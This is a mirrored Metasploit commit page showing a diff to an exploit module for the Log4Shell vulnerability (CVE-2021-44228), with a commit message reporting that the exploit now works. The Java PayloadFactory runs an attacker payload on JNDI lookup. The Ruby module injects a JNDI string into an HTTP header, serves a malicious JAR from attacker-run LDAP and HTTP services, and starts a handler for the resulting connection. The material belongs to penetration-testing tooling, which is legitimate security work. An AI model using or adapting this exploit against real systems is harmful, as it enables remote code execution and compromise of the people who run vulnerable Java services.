mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
First "working" 2021-44228 exploit module state
Clean up the Java code for PayloadFactory - the `main()` function is actually not required, the error seen on initial attempts to compile was some sort of PEBKAC or weird things in classpaths. Update the module to start the HTTP server before issuing the HTTP request starting the call chain which eventually executes the Java PayloadFactory - that chain is quick and races with the service's startup time to get the JAR containing the Payload and its factory. Minor misc cleanup. Give credit where due: we stand on the shoulders of giants. Testing: LDAP request is serviced with response containing our JAR URL and trigger parameters for the factory to instantiate Payload.class and call its `main()` function. HTTP request is serviced to deliver the JAR. Payload handler on MSF-side is tripped with incoming connection.
This commit is contained in:
parent
4874943e7f
commit
4f07a2fbea
Binary file not shown.
@ -5,15 +5,9 @@ import javax.naming.*;
|
||||
public class PayloadFactory implements javax.naming.spi.ObjectFactory {
|
||||
// Required method override to be a valid Factory
|
||||
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
|
||||
System.out.println("Loading via factory...");
|
||||
// System.out.println("Loading via factory...");
|
||||
Payload.main(null);
|
||||
return null;
|
||||
}
|
||||
// main method without which the class did not want to compile using javac -cp msf_payload.jar <this file>.java
|
||||
public static void main(String[] args) {
|
||||
try { Payload.main(null); } catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -15,7 +15,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
and execute attacker controlled data.
|
||||
},
|
||||
'Author' => [
|
||||
'Michael Schierl', # The know-how, tons of the originating code, all of the Jedi stuff
|
||||
'Michael Schierl', # All of the Jedi stuff
|
||||
'juan vazquez', # 2011-3544 code shamelessly stolen for this module
|
||||
'sinn3r', # 2011-3544 code shamelessly stolen for this module
|
||||
'Spencer McIntyre', # HTTP scanner module for 2021-44228 and moral support
|
||||
'RageLtMan <rageltman[at]sempervictus>' # Flippper-fisting of keyboard for some infra
|
||||
],
|
||||
'References' => [
|
||||
@ -92,7 +95,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# @return [Array] packed BER sequence
|
||||
def serialized_payload(msg_id, base_dn, pay_class = "metasploit.PayloadFactory")
|
||||
if datastore['REMOTE_LOAD']
|
||||
print_good(resource_url_string)
|
||||
attrs = [
|
||||
[ "javaClassName".to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ "javaFactory".to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
@ -149,12 +151,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
## HTTP service callbacks
|
||||
#
|
||||
# Handle HTTP requets and responses
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
|
||||
pay = regenerate_payload(cli)
|
||||
jar = inject_jar_payload_factory(pay.encoded_jar)
|
||||
send_response(cli, 200, 'OK', jar)
|
||||
@ -169,17 +173,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
res.body = html
|
||||
cli.send_response(res)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# LDAP service
|
||||
start_service
|
||||
# HTTP service
|
||||
start_http_service
|
||||
# HTTP request initiator
|
||||
send_request_raw(
|
||||
'uri' => normalize_uri(target_uri),
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'headers' => { datastore['HTTP_HEADER'] => jndi_string }
|
||||
)
|
||||
# HTTP service
|
||||
start_http_service
|
||||
handler
|
||||
ensure
|
||||
cleanup
|
||||
end
|
||||
@ -206,6 +212,10 @@ private
|
||||
def resource_uri
|
||||
path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8)) + '.jar'
|
||||
path = '/' + path if path !~ /^\//
|
||||
if not path =~ /\.jar$/
|
||||
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
|
||||
path = path + '.jar'
|
||||
end
|
||||
datastore['URIPATH'] = path
|
||||
return path
|
||||
end
|
||||
@ -249,16 +259,12 @@ private
|
||||
'Path' => resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
# As long as we have the http_service object, we will keep the ftp server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user